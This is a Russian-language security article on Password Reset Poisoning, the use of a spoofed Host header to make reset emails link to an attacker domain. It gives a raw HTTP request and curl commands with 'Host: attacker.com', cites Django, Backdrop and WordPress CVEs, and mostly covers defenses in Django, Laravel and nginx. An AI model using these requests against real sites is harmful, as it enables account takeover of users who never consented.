Password Reset Poisoning: как подделка одного заголовка уводит чужой аккаунт.
Пользователь нажал «Забыл пароль», ввёл email и ждёт письмо. Письмо пришло. Ссылка в нём выглядит нормально — знакомый домен, HTTPS. Он кликает.
В этот момент токен сброса улетает атакующему. Через несколько секунд тот меняет пароль. Пользователь пробует войти — аккаунт уже чужой.
Атака называется Password Reset Poisoning. Никакого вредоносного кода, никакого взлома сервера. Только один подменённый HTTP-заголовок.
ПОЧЕМУ ПРИЛОЖЕНИЕ ДОВЕРЯЕТ ЗАГОЛОВКУ HOST
Когда пользователь запрашивает сброс пароля, приложение должно сформировать ссылку вида:
https://mysite.com/reset?token=abc123def456
Для этого ему нужно знать доменное имя сайта. Многие фреймворки берут его из HTTP-заголовка Host — того самого который браузер отправляет с каждым запросом. Логика понятна: «какой домен указан в запросе — тот и используем в ссылке».
Проблема в том что заголовок Host полностью контролируется клиентом. Браузер подставляет его автоматически, но никто не мешает отправить запрос вручную с любым значением. Приложение не проверяет — оно просто доверяет.
АНАТОМИЯ АТАКИ ШАГ ЗА ШАГОМ
Шаг 1. Атакующий знает email жертвы — или просто перебирает адреса. Он открывает страницу сброса пароля на target.com.
Шаг 2. Вместо того чтобы отправить запрос через браузер, атакующий отправляет его вручную — через curl, Burp Suite или любой HTTP-клиент. В запросе он подменяет заголовок Host:
POST /reset-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
Шаг 3. Приложение получает запрос, генерирует токен и строит ссылку. Оно берёт домен из заголовка Host — то есть из attacker.com. Письмо уходит жертве со ссылкой:
Сбросьте ваш пароль: https://attacker.com/reset?token=a1b2c3d4e5f6
Шаг 4. Жертва видит письмо. Отправитель — настоящий сайт, тема — настоящая. Ссылка выглядит подозрительно только если внимательно читать домен. Большинство не читают — кликают.
Шаг 5. Браузер жертвы делает GET-запрос на attacker.com/reset?token=a1b2c3d4e5f6. Атакующий видит токен в логах своего сервера.
Шаг 6. Атакующий использует токен напрямую: https://target.com/reset?token=a1b2c3d4e5f6. Устанавливает новый пароль. Аккаунт захвачен.
Жертва так и не поняла что произошло — письмо было настоящим.
КАК ВОСПРОИЗВЕСТИ ОДНОЙ КОМАНДОЙ
Проверить уязвим ли ваш сайт можно без специальных инструментов:
curl -s -X POST https://target.com/forgot-password \
-H "Host: attacker.com" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "[email protected]"
Если на [email protected] пришло письмо со ссылкой на attacker.com — сайт уязвим.
Флаг -s включает тихий режим — скрывает прогресс и сообщения об ошибках. Флаг -X POST задаёт метод. -H добавляет заголовок. -d — тело запроса. Используйте только на своих сайтах или с письменным разрешением владельца.
РЕАЛЬНЫЕ СЛУЧАИ
В 2013 году исследователь James Kettle из PortSwigger (создатели Burp Suite) систематизировал класс атак через HTTP Host header и опубликовал исследование. До этого уязвимость была известна, но не каталогизирована как отдельный класс. Именно после его работы фреймворки начали массово закрывать проблему.
CVE-2012-4520 — Django до версии 1.4.2 не валидировал Host-заголовок должным образом. Атакующий мог подменить домен в письмах сброса пароля. Уязвимость закрыли введением настройки ALLOWED_HOSTS. Kettle в своём исследовании также подтвердил уязвимость Joomla и Piwik.
CVE-2025-63828 — Backdrop CMS 1.32.1, ноябрь 2025. Форма сброса пароля использовала Host-заголовок для построения ссылки без валидации. Уязвимость закрыта в 1.32.2. Свежее напоминание что эта ошибка не устаревает — её находят в новых продуктах каждый год.
HackerOne публикует десятки отчётов по этой уязвимости ежегодно — она встречается в корпоративных приложениях, SaaS-платформах и самописных фреймворках. Причина одна: разработчик написал request.get_host() там где должна быть константа из конфига.
ЗАЩИТА НА УРОВНЕ ФРЕЙМВОРКА
Django
В Django сброс пароля использует request.get_host() для построения ссылки. Без ALLOWED_HOSTS — уязвимо. Настройка обязательна в продакшне:
# settings.py
ALLOWED_HOSTS = ['mysite.com', 'www.mysite.com']
Django проверяет каждый входящий запрос — если Host не входит в список, возвращает 400 Bad Request. Список должен содержать только реальные домены сайта. Никакого * в продакшне.
Laravel
В Laravel 7.12+ для этого есть TrustedHosts middleware — появился в мае 2020 года. Без него приложение принимает любой Host. Включить:
# app/Http/Middleware/TrustHosts.php
public function hosts(): array
{
return [
$this->allSubdomainsOfApplicationUrl(),
'mysite.com',
];
}
И зарегистрировать в app/Http/Kernel.php (Laravel 7–10):
protected $middleware = [
\App\Http\Middleware\TrustHosts::class,
// ...
];
В Laravel 11+ файла Kernel.php нет — middleware регистрируется в bootstrap/app.php через метод withMiddleware().
Общий принцип для любого фреймворка
Никогда не строить URL из Host-заголовка. Для писем сброса пароля домен должен браться из конфига приложения или базы данных — из значения которое разработчик явно задал, а не из того что прислал клиент:
# Плохо — берём домен от клиента
reset_url = f"https://{request.get_host()}/reset?token={token}"
# Хорошо — берём домен из конфига
reset_url = f"{settings.BASE_URL}/reset?token={token}"
WordPress
WordPress core строит ссылку сброса из siteurl в базе данных — не из Host-заголовка. Поэтому классический password reset poisoning где ссылка ведёт на сайт атакующего в WordPress core не работает.
Но CVE-2017-8295 показал смежную уязвимость: WordPress использовал переменную SERVER_NAME для заголовков From и Return-Path в исходящем письме. Если сервер передавал Host-заголовок клиента в SERVER_NAME — атакующий мог подменить адрес отправителя. Письмо уходило с поддельным From, а при ошибке доставки — возвращалось на адрес атакующего вместе с токеном. Уязвимость затронула WordPress 2.3–4.7.4, закрыта в 4.7.5.
Для срабатывания атаки нужно одновременно три условия: уязвимая версия WordPress, веб-сервер не валидирует Host-заголовок и передаёт его значение в PHP — именно так ведёт себя Apache без явного ServerName — и письмо не доставлено и возвращается на адрес отправителя. Если хотя бы одно условие не выполнено — атака не сработает. На nginx с настроенным default_server и return 444 запрос с чужим Host просто не дойдёт до WordPress — закрыто на уровне инфраструктуры.
Современный WordPress core защищён. Риск остаётся в плагинах — если плагин строит URL из $_SERVER['HTTP_HOST'] для отправки писем, он уязвим независимо от версии WordPress.
ЗАЩИТА НА УРОВНЕ NGINX
Валидация Host-заголовка в nginx — первая линия обороны. Запросы с неизвестным Host не должны достигать приложения:
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
return 444;
}
server {
listen 80;
server_name mysite.com www.mysite.com;
# только эти хосты достигают приложения
}
Если nginx возвращает 444 на все неизвестные Host — атакующий просто не получит ответа от сервера и атака не сработает. Даже если приложение уязвимо — запрос до него не дойдёт.
Проверить что защита работает:
curl -v -X POST https://mysite.com/forgot-password \
-H "Host: attacker.com" \
-d "[email protected]"
# Ожидаемый результат: Empty reply from server
ТИПИЧНЫЕ ОШИБКИ
Ставят ALLOWED_HOSTS = ['*'] чтобы быстро починить ошибку в разработке — и забывают убрать перед деплоем. Звёздочка отключает всю защиту Django. В продакшне это равносильно отсутствию настройки.
Думают что HTTPS защищает от подмены Host. Не защищает — TLS шифрует транспорт, но заголовки внутри него всё равно контролируются клиентом.
Проверяют Host только на главной странице и забывают про /api/reset-password, /auth/forgot и другие эндпоинты. Атакующий идёт именно туда.
Используют IP-адрес сервера в ALLOWED_HOSTS или TrustedHosts как единственный вариант и забывают добавить доменное имя. Письма уходят со ссылками на IP.
ИТОГ
Password Reset Poisoning — атака в одну строку. Никакого сложного инструментария, никакого взлома инфраструктуры. Один подменённый заголовок, одно письмо — и аккаунт захвачен.
Насторожиться стоит всем кто держит сайт с формой сброса пароля — особенно если это Django без явного ALLOWED_HOSTS, Laravel без TrustedHosts, или WordPress с кастомными плагинами которые сами отправляют письма. CVE-2025-63828 в Backdrop CMS закрыли только в ноябре 2025 — эта ошибка появляется в новых продуктах каждый год потому что разработчики не думают о том откуда берётся домен в письме.
Защита строится на двух уровнях. На уровне инфраструктуры — nginx с return 444 на неизвестные хосты закрывает атаку ещё до приложения. На уровне кода — домен в письмах всегда из конфига или базы данных, никогда из того что прислал клиент.
Если на вашем сайте есть форма сброса пароля — проверьте прямо сейчас одной командой из раздела выше.
